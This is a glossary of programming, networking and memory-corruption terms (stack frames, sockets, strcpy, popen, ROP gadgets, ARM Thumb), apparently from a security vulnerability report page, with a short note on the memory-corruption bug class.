  • Frame pointer: a marker recording where a function's stack frame begins.
  • Return address: the address the program jumps back to when a function finishes.
  • Port: a numbered door on a computer that a program uses to receive network connections.
  • TCP: a reliable, connection-based way for two computers to exchange data.
  • UDP: a connectionless way to send data, without setting up a connection first.
  • Socket: the program's handle for one network connection or listening port.
  • Packet: one chunk of data sent over a network.
  • Parsing: reading raw data and working out its structure and meaning.
  • Magic value: a fixed marker at the start of a message that identifies it as valid.
  • memcpy: a standard function that copies a block of bytes from one place to another.
  • strcpy: a standard function that copies a string until it reaches a zero byte, with no check on the destination size.
  • strcmp: a standard function that compares two strings.
  • rand(): a function that produces pseudo-random numbers.
  • popen: a standard function that runs a shell command and lets the caller read its output.
  • Switch statement: a way of choosing one path out of many based on a value.
  • Pointer: a variable that holds the memory address of something else.
  • Decompiled code: compiled program code turned back into something resembling source code by a tool.
  • Register: a tiny, fast storage slot inside the processor.
  • Stack pointer (sp): the register that marks the current position on the stack.
  • Program counter (pc): the register that holds the address of the next instruction to run.
  • ROP (Return-Oriented Programming): chaining together small existing code snippets that end in a return, to make a program do something it was not designed to do.
  • Gadget: one of those small code snippets used in a ROP chain.
  • Little-endian: a byte order where the least significant byte comes first.
  • Thumb: a compact instruction set used by ARM processors.
  • ARM: a family of processor chips.
  • Hexadecimal: a base-16 number system, where 0x marks a hexadecimal number.
  • Firmware: the software built into a device.
  • Authentication: proving who you are before being allowed to do something.
  • Scanning: trying a range of port numbers to find which ones answer.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.